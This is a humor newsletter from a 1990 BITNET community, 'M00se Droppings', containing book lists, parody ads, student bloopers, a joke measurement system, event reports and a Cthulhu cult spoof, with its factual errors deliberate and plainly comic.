Also, if you look at his picture on some of the book jackets, you KNOW
he's one of us. :)
Books written and in many cases illustrated by
DANIEL PINKWATER
(a.k.a. Manus Pinkwater, D. Manus Pinkwater,
Daniel M. Pinkwater, and others)
* Alan Mendelsohn, The Boy From Mars
* Atilla the Pun
Bear's Picture
The Big Orange Splot
* Blue Moose
Return of the Moose
* The Moospire
The Blue Thing
Fat Elliot and the Gorilla
* Fat Men From Space
* The Hoboken Chicken Emergency
The Last Guru
* Lizard Music
Magic Camera
* The Magic Moscow
Pete, the Pestiferous Polecat
Pickle Creature
Superpuppy (with Jill Miriam Pinkwater)
The Terrible Roar
Three Big Hogs
Tooth Gnasher Super Flash
* Wingman
Wizard Crystal
* The Worms of Kukumlima
The Wuggie Norple Story (illustrated by Tomie De Paola)
* Yobgorgle: Mystery Monster of Lake Ontario
* The Muffin Fiend
* Slaves of Spiegel
* = Ones I've read
This list is taken from "The Worms of Kukumlima". Copyright 1981. I've
added to it a bit.
-Pat Salsbury
(DangerM00se)
V291NHTP@UBVMS.BITNET
SALSBURY@AUTARCH.ACSU.BUFFALO.EDU
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Yet Another m00se b00k of the M0nth Club selection, from b0liver
shagnastY iv.]
The Mulch 0f Aval0n
by 0laf 0lafs0ns0ns0n
Just when you thought you'd read the tale of Arthur and his Camel0t from
every possible point of view. The Mulch 0f Aval0n (6528 pages, $59.95 from
Batman Books) spins an enchanting tale of knights, druids, and all that crap
(especially the crap) from the point of view of a blue b0ttled shit fly. A
must for the fantasy fan who likes to think he/she is reading real literature
and not just another piece of fantasy crap (in fact, the reader is reading not
only crap, but ABOUT it). Learn the contents of an Arthurian banquet--0laf
0lafs0ns0ns0n has thoroughly researched his material. What grade of hay did a
jousting horse eat just before a tourney? 0lafs0ns0ns0n also retells the story
of the Crystal Stool of Merlin with a decidedly more human twist. And what was
the secret sin of Guinevere that only a shitfly would know?
An exerpt:
Myllwenquill's wings almost gave out as he finally
landed on a clump of dung near the soldier's
encampment. Something was wrong in the air. He
listened as nearby he heard the boy-king who was
now a man making plans with his trusted aides.
Myllwenquill's proboscis twitched again. Something
was wrong about this pie. It smelled like a
croissant--it must belong to that French Knight,
who had never been bested in combat. He was now in
the service of the King, it seemed.
Yes, you too can own this epic fantasy.
Regular price: $59.95
M00se B00k Club price $599.50
6 book dividends and 23 CitiDollars
Do not send a message to us in 3 days if you want to recieve this
selection.
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**************************** INTERESTING ARTICLES ******************************
--------------------------------------------------------------------------------
[b0liver shagnastY iv, of the Wilfred Hyde-White Memorial Thr0ng, provides us
with this massively useful item. -WRD]
SAFETY TIPS FOR POST-NUCLEAR LIVING
1. Never use the elevator in a building hit by a nuclear device; use the
stairs instead.
2. When flying through the air, remember to roll as you hit the ground.
3. If you are on fire, avoid gasoline and other flammable substances.
4. Don't attempt to communicate with dead people; it only leads to
psychological problems.
5. Food will be scarce; you will have to scavange. Learn to recognize foods
that will be available after a nuclear holocaust: mashed potatoes,
shredded wheat, tossed salad, ground beef, etc.
6. Remember to cover your mouth when you sneeze; internal organs will be
scarce in the post-nuclear age.
7. Try to be neat; fall only in designated piles.
8. Drive carefully when travelling through "heavy fallout" shelters; people
could be staggering illegally.
9. Nutritionally, a $100 dollar bill is equal to a $1 bill, and more sanitary
due to limited circulation.
10. Accumulate mannequins now; spare parts will be in short supply on D-day.
--Author unknown
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Many of you may have seen this before, but those of you who haven't will get a
kick out of it. Submitted by Gary Olsen. -WRD]
The article below is from "Verbatim" magazine, around May of 1987.
The World According to Student Bloopers
Richard Lederer
St. Paul's School
One of the fringe benefits of being an English or History teacher is
receiving the occasional jewel of a student blooper in an essay. I have pasted
together the following "history" of the world from certifiably genuine student
bloopers collected by teachers throughout the United States, from eight grade
through college level. Read carefully, and you will learn a lot.
The inhabitants of Egypt were called mummies. They lived in the Sarah
Dessert and traveled by Camelot. The climate of the Sarah is such that the
inhabitants have to live elsewhere, so certain areas of the dessert are cul-
tivated by irritation. The Egyptians built the Pyramids in the shape of a huge
triangular cube. The Pramids are a range of mountains between France and
Spain.
The Bible is full of interesting caricatures. In the first book of the
Bible, "Guinesses," Adam and Eve were created from an apple tree. One of their
children, Cain, asked "Am I my brother's son?" God asked Abraham to sacrifice
Issac on Mount Montezuma. Jacob, son of Issac, stole his brother's birthmark.
Jacob was a partiarch who brought up his twelve sons to be partiarchs, but they
did not take to it. One of Jacob's sons, Joseph, gave refuse to the Israelites.
Pharaoh forced the Hebrew slaves to make bread without straw. Moses led
them to the Red Sea, where they made unleavened bread, which is bread made
without any ingredients. Afterwards, Moses went up on Mount Cyanide to get the
ten commandments. David was a Hebrew king skilled at playing the liar. He
fought with the Philatelists, a race of people who lived in Biblical times.
Solomon, one of David's sons, had 500 wives and 500 porcupines.
Without the Greeks, we wouldn't have history. The Greeks invented three
kinds of columns - Corinthian, Doric and Ironic. They also had myths. A myth
is a female moth. One myth says that the mother of Achilles dipped him in the
River Stynx until he became intolerable. Achilles appears in "The Illiad", by
Homer. Homer also wrote the "Oddity", in which Penelope was the last hardship
that Ulysses endured on his journey. Actually, Homer was not written by Homer
but by another man of that name.
Socrates was a famous Greek teacher who went around giving people advice.
They killed him. Socrates died from an overdose of wedlock.
In the Olympic Games, Greeks ran races, jumped, hurled the biscuits, and
threw the java. The reward to the victor was a coral wreath. The government
of Athen was democratic because the people took the law into their own hands.
There were no wars in Greece, as the mountains were so high that they couldn't
climb over to see what their neighbors were doing. When they fought the
Parisians, the Greeks were outnumbered because the Persians had more men.
Eventually, the Ramons conquered the Geeks. History call people Romans
because they never stayed in one place for very long. At Roman banquets, the
guests wore garlic in their hair. Julius Caesar extinguished himself on the
battlefields of Gaul. The Ides of March killed him because they thought he
was going to be made king. Nero was a cruel tyrany who would torture his poor
subjects by playing the fiddle to them.
Then came the Middle Ages. King Alfred conquered the Dames, King Arthur
lived in the Age of Shivery, King Harlod mustarded his troops before the
Battle of Hastings, Joan of Arc was cannonized by George Bernard Shaw, and the
victims of the Black Death grew boobs on their necks. Finally, the Magna Carta
provided that no free man should be hanged twice for the same offense.
In midevil times most of the people were alliterate. The greatest writer
of the time was Chaucer, who wrote many poems and verse and also wrote liter-
ature. Another tale tells of William Tell, who shot an arrow through an apple
while standing on his son's head.
The Renaissance was an age in which more individuals felt the value of
their human being. Martin Luther was nailed to the church door at Wittenberg
for selling papal indulgences. He died a horrible death, being excommunicated
by a bull. It was the painter Donatello's interest in the female nude that
made him the father of the Renaissance. It was an age of great inventions and
discoveries. Gutenberg invented the Bible. Sir Walter Raleigh is a historical
figure because he invented cigarettes. Another important invention was the
circulation of blood. Sir Francis Drake circumcised the world with a 100-foot
clipper.
The government of England was a limited mockery. Henry VIII found walking
difficult because he had an abbess on his knee. Queen Elizabeth was the "Vir-
gin Queen." As a queen she was a success. When Elizabeth exposed herself be-
fore her troops, they all shouted "hurrah." Then her navy went out and
defeated the Spanish Armadillo.
The greatest writer of the Renaissance was William Shakespear. Shakespear
never made much money and is famous only because of his plays. He lived in
Windsor with his merry wives, writing tragedies, comedies and errors. In one
of Shakespear's famous plays, Hamlet rations out his situation by relieving
himself in a long soliloquy. In another, Lady Macbeth tries to convince Mac-
beth to kill the King by attacking his manhood. Romeo and Juliet are an
example of a heroic couplet. Writing at the same time as Shakespear was Miquel
Cervantes. He wrote "Donkey Hote". The next great author was John Milton.
Milton wrote "Paradise Lost." Then his wife died and he wrote "Paradise
Regained."
During the Renaissance America began. Christopher Columbus was a great
navigator who discovered America while cursing about the Atlantic. His ships
were called the Nina, the Pinta, and the Santa Fe. Later the Pilgrims
crossed the Ocean, and the was called the Pilgrim's Progress. When they
landed at Plymouth Rock, they were greeted by Indians, who came down the hill
rolling their war hoops before them. The Indian squabs carried porposies on
their back. Many of the Indian heroes were killed, along with their cabooses,
which proved very fatal to them. The winter of 1620 was a hard one for the
settlers. Many people died and many babies were born. Captain John Smith was
responsible for all this.
One of the causes of the Revolutionary Wars was the English put tacks in
their tea. Also, the colonists would send their pacels through the post with-
out stamps. During the War, Red Coats and Paul Revere was throwing balls over
stone walls. The dogs were barking and the peacocks crowing. Finally, the
colonists won the War and no longer had to pay for taxis.
Delegates from the original thirteen states formed the Contented Congress.
Thomas Jefferson, a Virgin, and Benjamin Franklin were two singers of the
Declaration of Independence. Franklin had gone to Boston carrying all his
clothes in his pocket and a loaf of bread under each arm. He invented elec-
tricity by rubbing cats backwards and declared "a horse divided against itself
cannot stand." Franklin died in 1790 and is still dead.
George Washington married Matha Curtis and in due time became the Father
of Our Country. Then the Constitution of the United States was adopted to
secure domestic hostility. Under the Constitution the people enjoyed the
right to keep bare arms.
Abraham Lincoln became America's greatest Precedent. Lincoln's mother
died in infancy, and he was born in a log cabin which he built with his own
hands. When Lincoln was President, he wore only a tall silk hat. He said,
"In onion there is strength." Abraham Lincoln write the Gettysburg address
while traveling from Washington to Gettysburg on the back of an envelope. He
also signed the Emasculation Proclamation, and the Fourteenth Amendment gave
the ex-Negroes citizenship. But the Clue Clux Clan would torcher and lynch
the ex-Negroes and other innocent victims. On the night of April 14, 1865,
Lincoln went to the theater and got shot in his seat by one of the actors in
a moving picture show. The believed assinator was John Wilkes Booth, a sup-
posedly insane actor. This ruined Booth's career.
Meanwhile in Europe, the enlightenment was a reasonable time. Voltare
invented electricity and also wrote a book called "Candy". Gravity was
invented by Issac Walton. It is chiefly noticeable in the Autumn, when the
apples are falling off the trees.
Bach was the most famous composer in the world, and so was Handel. Handel
was half German, half Italian and half English. He was very large. Bach died
from 1750 to the present. Beethoven wrote music even though he was deaf. He
was so deaf he wrote loud music. He took long walks in the forest even when
everyone was calling for him. Beethoven expired in 1827 and later died for
this.
France was in a very serious state. The French Revolution was accom-
plished before it happened. The Marseillaise was the theme song of the French
Revolution, and it catapulted into Napoleon. During the Napoleonic Wars, the
crowned heads of Europe were trembling in their shoes. Then the Spanish
gorrilas came down from the hills and nipped at Napoleon's flanks. Napoleon
became ill with bladder problems and was very tense and unrestrained. He
wanted an heir to inheret his power, but since Josephine was a baroness, she
couldn't bear him any children.
The sun never set on the British Empire because the British Empire is in
the East and the sun sets in the West. Queen Victoria was the longest queen.
She sat on a thorn for 63 years. Her reclining years and finally the end of
her life were exemplatory of a great personality. Her death was the final
event which ended her reign.
The nineteenth century was a time of many great inventions and thoughts.
The invention of the steamboat caused a network of rivers to spring up. Cyrus
McCormick invented the McCormick Raper, which did the work of a hundred men.
Samuel Morse invented a code for telepathy. Louis Pastuer discovered a cure
for rabbis. Charles Darwin was a naturailst who wrote the "Organ of the
Species". Madman Curie discovered radium. And Karl Marx became one of the
Marx Brothers.
The First World War, cause by the assignation of the Arch-Duck by a surf,
ushered in a new error in the anals of human history.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Submitted by myself and Mike Harm. -WRD]
The world is in need of many things. But it occurred to Mike Harm and
myself recently that one thing it needs very badly is a new, standardized
system of measurement.
Look at the facts: The English system has been rejected almost all the
world over. It is old, it is unpopular. Clearly it cannot become the world
standard.
The metric system, on the other hand, has been rejected by the most
powerful nation on the planet (the United States) as well as the most powerful
third world nation on the planet (Great Britain). In addition, it lacks
personality. Nobody wants to order a liter of beer, or a half liter, or five
hundred milliliters. It just doesn't sound right. It's a cold system.
So we have taken it upon ourselves to solve this problem. Below is the
beginning of the new M00se Illuminati Standardized System of Measurements.
Additions to this system will appear in later issues. Everybody start
converting!
I) VELOCITY
For our unit of velocity measure, we have chosen "furlongs per fortnight."
This unit will replace the previous standards of MPH and KPH, and all
derivatives thereof.
Conversion is quite simple. There are 220 yards in a furlong, or 660
feet, or .125 miles. Therefore, there are 8 furlongs in a mile. (Bear in
mind, we are only using "miles," "yards," "feet," and any other obsolete units
of measurement to help define the new units.)
One mile per hour would therefore be eight furlongs per hour. Since there
are 336 hours in a fortnight, one mile per hour is equal to 2,688 furlongs per
fortnight. From this figure, we can create the following chart:
CHART ONE -- VELOCITY MEASURE
MPH KPH FPF
=== === ===
0.6 1 1,612.8
01 1.67 2,688
10 17 26,880
20 33 53,760
30 50 80,640
40 67 107,520
50 83 134,400
55 92 147,840
60 100 161,280
75 125 201,600
100 167 268,800
Speed of sound (sea level, 46.72 CaH): 321,994,007
Speed of Light: 1,802,617,506,000
The chart contains many commonly-used velocities. Most figures are
rounded, as this is a general-use chart, not a scientific-use chart. Any
velocities not shown on the chart can be calculated as above. Change your
speedometers. Get bumper stickers that say "147,840: it's not just a good
idea, it's the law," and "147,840 saves lives."
II) TEMPERATURE
As most of you will no doubt agree, the current practice of using a single
system of temperature measurement to measure both hot and cold temperatures is
silly. How similar is the core of the sun to the antarctic deep-freeze? Not
at all, of course! So why do we insist upon using the same system to measure
them?
We have addressed this problem by creating TWO units of temperature
measurement. For cold temperatures, we have created the "Coldashell" (CaH). A
single Coldashell is equal in size to 1.37 degrees Farenheit. Zero degrees
Coldashell equals -32 degrees Farenheit. To convert from degrees F to degrees
CaH, use the following formula:
(dF + 32) / 1.37 = dCaH
where dF = degrees Farenheit, and dCaH = degrees Coldashell. You will not, of
course, have to convert in the other direction (since CaH will from now on be
the standard); therefore, no conversion formula is provided for CaH to F.
To deal with hot temperatures, we have created the "Hotashell" (HaH). A
single Hotashell is equal in size to pi degrees Celsius. Zero degrees
Hotashell equals 50 degrees Celsius. To convert from degrees C to degrees CaH,
use the following formula:
(dC - 50) / pi = dHaH
where dC = degrees Celsius, and dHaH = degrees Hotashell. Again, since there
is no need to convert in the other direction, no formula is provided.
Conversions between all four systems are shown on the chart below:
CHART TWO -- TEMPERATURE
Far. Cel. CaH HaH
==== ==== === ===
0 Coldashell -32 -36 0 -27
0 Farenheit 0 -18 23 -22
Freezing (0 C) 32 0 47 -16
Room temp. 72 22 76 -9
Body temp. 98.6 37 95 -4
0 Hotashell 122 50 112 0
Boiling 212 100 178 16
Well, that's it for now. Stand by for next issue, and additions to the
official, standardized M00se Illuminati system of measurement!
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*************************** M00SCELLANEOUS NONSENSE ****************************
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[Even the Oracle must deal with awkward questions. -WRD]
The Usenet Oracle has pondered your question deeply.
Your question was:
> I love you.
And in response, thus spake the Oracle:
} Well there isn't really much one can say to this, I'm extremely flattered and
} If you'd stop by my house I'd show you how much. My address is:
}
} 1600 Pennsylvania Ave Washington DC
}
} Ask for Mr. B, they'll know who you mean.
}
} You owe the Oracle a service, you must remove WWF from TV.
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
There have been many changes to the list, so instead of an update, a new
complete list will follow this issue.
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SWER TO THE ULTIMATE QUESTION OF LIFE, THE UNIVERSE AND EVERYTHING ISSUE -- ANSW
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ELVIS IS EVERYWHERE ISSUE -- ELVIS IS EVERYTHING ISSUE -- ELVIS IS EVERYBODY ISS
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\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
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DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue 43 | Disclaimer: The Editor does hereby take responsibility | 08/09/90
---------- for the full contents of this newsletter. Accountability ----------
is now the name of the game. A pox on playing it safe. Let's get real. Bl00p.
================================================================================
--------------------------------------------------------------------------------
**************************** THE ISSUE AT A GLANCE *****************************
--------------------------------------------------------------------------------
EDITORIALS AND LETTERS
Standard opening from WRD
IMPORTANT ANNOUNCEMENTS
Files available from Pickle
Honorary M00se candidate
EVENTS AND NEWS
The Water-Logged Thr0ng-a-Th0n
The US invades the US
A most m00sey wedding
INTERESTING ARTICLES
The Hunting of the M00se
Elvis Presley -- Pr0t0m00se?
Thomas Jefferson on the Illuminati
M00SCELLANEOUS NONSENSE
Campus Crusade for Cthulhu
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**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Greetings, and welcome to Issue #43. It's late, I know, and I apologize.
It took me a while to get material for it, and once I did, I wanted to hold it
over for a report on an event that happened this past weekend, and I wanted
more political content (which didn't really show, dammit ). But here it is,
with some interesting and amusing items, and I hope you enjoy it. Be good, be
m00sey, and send submissions!
-Bill
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************************** IMPORTANT ANNOUNCEMENTS *****************************
--------------------------------------------------------------------------------
I have, in my account, copies of HR4079 (the Newt Gingrich idea discussed
in Issue #41) and "Crime and Puzzlement," the article about Operation Sundevil
written by John Perry Barlow. Both are far too long to include in M00se
Droppings, but anybody who wants a copy should contact Pickle at:
DICKSON@HARTFORD.BITNET
These files are important, and frightening. Order your copy today.
In addition, I have the new, revised M00se Illuminati information files.
There are now three files: M00se.History, M00se.Charter, and M00se.Info. If
you would like an updated copy, please send me a note.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Honorary M00se candidate suggestion from Goblin: Grant Morrison, writer of the
"Animal Man" comic series.
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****************************** EVENTS AND NEWS *********************************
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[Sounds like a good idea to *me*. From Goblin. -WRD]
Howdy all, (Bl00p!)
How about a Summer Water-Logged Thr0ng-A-Th0n?? The M00ses in the general
area of New England (and those who are willing to trek here from various
distant-far-off-lands) could gather at a random place near water and bring as
many floatation devices as they can create or buy and have a grand gathering.
We could meet in M00sup connecticut if it has any lakes or water. Or any other
m00sey-sounding place. I think the best bet would be to find a place with a
great BIG lake and some space...and have a cook-out & a water-logged gathering!
Anyone like the sugestion? Anyone know of a likely State Forrest? Or does
anyone have access to a place that fits the discription?
How about it? August sound likely? I myself prefer having the Water-
Logged Thr0ng-A-Th0n somewhere in the first two weeks of August. But whatever
works would be cool with me...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Some political content that you all may not have heard about. Pilfered from
the Anarchism list, via the Politics list. -WRD]
Is the rest of the country aware that the U.S. army has attacked U.S. soil
for the first time since the Civil War in the Operation Greensweep raid in
Humboldt County, California? We're talking about 200 troops in camouflage with
M-16s, helicopters etc. searching for deadly marijuana plants in the Kings
Ridge national forest. At least three Civil Rights violations were reported in
the first day of the raid, and a law suit is expected to follow. People have
had M-16s waved in their faces with no explanation on private land, chased off
hiking trails, etc., all in the name of "giving the forest back to the people."
In fact, according to govt statistics, no one has been hurt by marijuana
growers while visiting the national forests of Humboldt Co. (or elsewhere in
N. Cal.) for years (the only incidents that have ever occurred involved
disputes between growers, cops, and thieves).
The fruits of this operation are laughable. After 4 days of operations,
200 men have succeeded in finding only 600 plants; in comparison, a single
helicopter eradication team averages nearly 300 plants per day. In short, a
total boondoggle.
Meanwhile, the army is trampling over some of the most beautiful backwoods
wilderness land in the state, chasing hikers and hunters away and barring local
people from access to their land. The excuse for this abomination is that
President Bush promised the Latin Americans that he would adopt the same
tactics against our drug producers as he was urging them to adopt against
theirs. In short, he promised to treat America like a banana Republic! So
much for all those narco-trafficante hippies in Humboldt Co. Your recreation
area may be next! Protest now to the Bureau of Land MisManagement.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[An unauthorized account by Pickle. -WRD]
Marriage is an institution. But there are occasions that make it seem
like a good one. Oddly enough, caught up in an optimistic mood even after a
long, dark, 245-mile trek to Syracuse, I had the opportunity to attend just
such an occasion.
On August 4, 1990, on a bluff overlooking Lake Ontario, a medium-sized
group of people gathered together to bear witness to the marriage of Christy
Russell, AKA GypsyLynx, to Steve Phillips. Nearly half the group, including
yours truly, was dressed in renaissance garb, to suit the ceremony that had
been chosen for the wedding. The sun shone more than adequately, and the lake
lent a unique atmosphere to the event.
The bride looked perfect in her outfit, and the groom looked worthy of
her. The ceremony was brief and elegant, lasting not quite as long as the kiss
that completed it. All the single women in the area got the opportunity to
pluck a bow from the bride's skirt for luck in love and marriage, and we set
off for the festivities planned to follow at a nearby Renaissance faire.
It was a long day, and a lovely day. The faire was large and shady, with
many friendly, interactive personalities wandering around keeping us all
entertained. I taught the tax collector the secrets of the ancient martial
art, KenKausch, and enjoyed a pleasant, icy neck-rub from a friendly young
peasant woman who was helping me cool down. The bride and groom were honored
with an announcement of their marriage at the joust, in the queen's presence,
and their favored knight, Sir Micheal, put on a fine show until he was defeated
by the cowardly, cheating Sir Geoffrey (who may not spell his name that way) in
a treacherous, clearly illegal move.
When the wedding mead ran out, this writer was able to satisfy his thirst
at the many pubs at the faire, drinking a splendid quantity of ale. After a
joyful and friendly pubsing to end the faire, we all went home, wishing the
newlyweds a fine honeymoon.
Naturally, no superb day can go unblemished. Par for the course, yours
truly stumbled into the company of the bride's sister, a remarkable and
beautiful woman who helped make the afternoon still more enjoyable. Sadly, she
lives in Arizona. But such developments are to be expected.
All in all, an experience to make one most glad for the couple and for
being there to enjoy it. I now have a much higher opinion of faires in
general, and, Leviam00se willing, will see some of you at another one in the
not-too-distant future.
M00ses present (off the top of my head): Christy, Steve, Pickle,
Alacrity, Lord Trelf, Sabre, Guardian Angel, Half-Elf, the Innkeeper, Warm00se
(who I finally met), Scamp, Ice, Niniane, Kamikaze. I apologize most profusely
if I have forgotten anyone!
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**************************** INTERESTING ARTICLES ******************************
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[Submitted by Goblin, a m00sitarian issue close to our hearts. -WRD]
Greetings fellow Bl00pers and Bl00p-ets,
There is a grave matter that I would like to bring to your attention, a
threat to our cousins in wilderness, the m00se (m00ses, Meese?) and Deer. They
are being hunted and killed at an alarming rate in our country. In New
Hampshire, people are trying to make a difference and march against this
injustice. (What do you expect from a state whose motto is "Live Free or
Die?") What about the rest of us? We could make a difference as M00ses. The
only way to stop the senseless waste of animal life before it is too late is to
write to your senators and speak out! There are animal rights groups all over
the world that are always looking for volunteers, maybe the M00se Illuminati
could leave their H00fprint on the world for endangered animals?
I will have an address of a New Hampshire resident sometime soon who is
a wealth of knowledge on the M00se and Deer issue. She would be happy to talk
to any interested folk.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Submitted by Pickle. -WRD]
ELVIS PRESLEY -- PR0T0M00SE?
There have been many myths and speculations hanging around Elvis like a
shroud for the past fifteen years (more or less). Claims that he is not dead,
that he was murdered, that his ghost has appeared in mold spots on kitchen
appliances, have all abounded in this great country. The fine documentary film
"Mystery Train" records an appearance by Elvis in a woman's hotel room. And,
of course, the National Enquirer has listed more instances of Elvis-related
supernatural phenomenon than one can comfortably count.
Is it all a sham? A hoax? Have millions of people been deluded? Or is
it science that has betrayed us, attempting to deny the truth about one of
history's most important and powerful social icons?
Well -- yes and no, on all counts.
We must acknowledge that the body of Elvis Presley lies in its final
resting place. The coffin is full, the headstone in place.
But is that all there is to a human being? Can that possibly be all there
is to Elvis, who may have been something more than a human being?
Let us consider the facts. Elvis has survived, without pause, in the
collective subconscious of the world, since his "death" on August 16 of 1977.
But he has not survived in the form he died in -- he is not remembered as a
tremendously overweight glutton, he is not canonized as a pathetic drug addict.
Nay, he exists in the collective subconscious as the young, healthy, heroic
Elvis, the Elvis who rescued the helpless and sang his heart out in the films
that were made. Indeed, he is remembered not as he *was*, but as *what he
would like to be remembered as*.
In short, the Elvis that is being kept alive in the minds of countless
people around the globe is an *ideal* Elvis; a Jungian Elvis, if you will.
This is the Elvis that is painted on velvet, this is the Elvis that Mojo Nixon
sings about.
But how could the Jungian Elvis differ so from the Elvis we saw in his
last years?
My theory is that Elvis was in possession of extraordinary power -- the
power, not only to immortalize himself with the energy of others' minds, but
the power to remake himself into the perfect being that he must be to provide
the spiritual guidance that is his responsibility. Any illuminated being, such
as a Bavarian, could achieve the first -- but the second? That would require
the power of illuminated *confusion*, a power that we of the M00se Illuminati
have refined beyond the abilities of other, lesser conspiracies.
The evidence points very clearly, I think, toward Elvis as an early,
secret disciple of Leviam00se. He helped pave the way for our great
organization, and even today, the Jungian Elvis furthers our goals world-wide.
Let us now recognize Elvis Presley as the higher being he is, and always has
been.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[This remarkable item submitted by JiMb00se. -WRD]
It will make all m00ses a bit gald to know that at least one founding
father thought rather highly of the whole deal.
I was preparing a long list of Jefferson quotes for a project I am working
on, when I came across a reference to the Illuminati by *Thomas Jefferson*!
I quote:
"I have lately by accident got a sight of a single volume
(the 3rd) of the Abbe Barruel's _Antisocial Conspiracy_,
which gives me the first Idea I have ever had of what is
meant by the Illuminatism against which 'Illuminate Morse',
as he is now called, and his ecclesiastical and monarchical
associates have been making such a hue and cry."
He goes on to explain that "Barruel's own parts of the book are prefectly
the ravings of a Bedlamite."
He notes though, that he deciphered from the direct quotes of Wishaupt
(founder of the Illuminati) a good deal about what the Illuminati are about.
It seems that Wishaupt thought that the Masons had turned away from the
true teachings of Christ (which, to Jefferson, meant a bunch of stuff about
True Liberty). So he founded his secret society to spread, according to
Jefferson "information, reason, and natural morality among men."
I finish with another long quote:
"This subject being new to me, I imagine that if it be so
to you also, you may receive the same satisfaction in
seeing, which I have had in forming the analysis of it;
and I beleive you will think with me that if Wishaupt had
written here, where no secrecy is necessary in our endeavors
to render men wise and virtuous, he would not have thought
of any secret machinery for that purpose..."
How about that?
Honest to m00se, I ain't makin' it up...
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*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
[Every once in a while, we like to advertise for the competition. It helps
keep their guard down. This submitted by b0liver shagnastY iv, author
unknown. -WRD]
CAMPUS CRUSADE FOR CTHULU
"It found ME!"
"The obscene idol grotesquely squats on top of a rough hewn granite
pillar. The fire around it crackles and roars high. We are joyously dancing
around it all; hands linked, half naked, we are whole, laughing with joy and
desire."
Searching for excitement, power? Seeking a higher cause, one worthy of
your very life? The Campus Crusade for Cthulhu offers all this, AND MORE! How
does Tall, Green, and Slimy sound to you? Pretty scary. But you can handle
it. You will have to learn how to. You will learn to yearn for the soft
squeezing caress of undulating tentacles. Or you will be eternally sorry that
you did not. Think that you are searching for meaning still? Well, search no
more! We have found you. Soon, when you expect it least, our agents will
contact you. Soon you will not have to worry about anything. Ever. Again. We
know more about you than you can ever learn about us. And who are we?
We are both the oldest and the newest college organization in existence.
We are sponsored by the ancient Cthulhu Cult, which predates all history.
Before the United States of America, before ancient Greece, before Atlantis.
Before the first Illuminati attempts at world conquest our tentacles had an
unbreakable grip upon the entire Earth. We have never let go. Ever since we
were pre-men, the Cthulhu Cult has served the Great Old Ones, the unspeakable
horrors of legend. It is they who lived eons before they brought life upon
this Earth. They came from distant unknown space, falling out of the sky upon
our virgin Earth. Through covert means, their lurking shapes held sway over
our young planet, guiding it's course to serve their own needs. They destroyed
the dinosaurs when they were done with them, and so made way for the first men.
The Old Ones died three million years past, gone into the Earth, under the sea.
Dead they were, yet undead; their dreaming still bodies reached out, and so
molded the minds of our distant ancestors. The greatest of their High Priests,
whom we know as Cthulhu, lay deep within his sunken R'lyeh Temple and guided
all of history through the Cult. Ever we have prepared the world for the day
they shall return. Then the world shall fall under the clinging grip of the
Great Old Ones reborn. And only those who serve them in this life shall
survive. For a time. That is why we worship Cthulhu, why you cannot afford not
to. Ever we await his return from his tomb at R'lyeh. For we know that the
words ever hold true.
The history of our club is a strange and wondrous one; early on in this
century the ever growing Cthulhu Cult founded the Campus Crusade at Miskatonic
University, the hallowed center of learning located among the misty hills of
Arkham, MA. Our first moves were carefully planned: information tables in the
University Union, arcane bake sales, ceremonies in the remote regions of
campus, and the like. After a year we had become a campus fixture.
The next year we reached out for other campuses. Yale, New York
University, SUNY-Binghamton, they were but a few. Now we have over 666 schools
in our rule. And that is only counting the United States!
Remember the uprisings of the sixties, REMEMBER Kent State? They were
small experiments on our part, to demonstrate our power.
By the end of the second year we had possession of the entire University!
Classes were cancelled so that all could take part in our ceremonies and ritual
Virgins of both sexes begged to be sacrificed on our behalf. Our political
control of Arkham was absolute.
Remember, we have been watching you for a very long time. We will
continue to do so for the rest of your life. However long that shall be is up
to you. So, join the fastest growing conspiracy on the planet! Be ready for
the time of the re-awakening.
* Intimate contact with those of like interests.
* Eternal companionship in this life and the next.
* The safety of numbers.
* Spiritual support in case of legal prosecution.
* Enhanced lifespan: chances of surviving the return of the
Great Old Ones double when you are with us.
* POWER -- Come the New Time, you will be given absolute control
over the city of your choice, if all turns out as planned. The
festering remnants of humanity will be yours to do with what you
wish.
* Never again shall you be bored!
* Never again shall you be cold!
* AND you get your very own membership card, which entitles you
to a ten percent discount on all items stocked at our numerous
occult shops!
* Greatly reduced life expectancy.
* Justified paranoia.
* Constant fear.
* Great chance to become a Cthulhu breakfast snack.
* A death guaranteed NOT to be quick and painless.
* For your own safety... Write for more information: CAMPUS
CRUSADE FOR CTHULHU Box 544 SUNY-Binghamton New York 19301
Or stop by our Offices in Phoenix, Denver, Salt Lake City, Philadelphia,
Los Angeles, San Francisco, Dallas, Macon and Nashville.
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
All right, folks, please remove the following m00ses from your list:
BETH1@KSUVM
BENDZINS_THV@CTSTATEU (Salmonm00se)
JDOTY@WESLEYAN (The Keeper)
JBLUESTEIN@WESLEYAN (WabeWalker)
Total Lost M00ses: 4
Also, please change KG5927@BROCK1P to KARL@BROCK1P.
Lastly, there is another change. But I'll let him tell you about it in his own
words:
This server is dedicated to a single function: correcting the spelling of my
name. It cannot be accessed by listserv command, and is in fact, an entirely
theoretical construct. It has come into being because I have detected
misspellings in the following: Bill Dickson's M00se Illuminati distribution
list, Jimbo Wales' Jimboserver, and the pardon that was just given to me
by the governor for hacking up 37 innocent bystanders with a herring. All
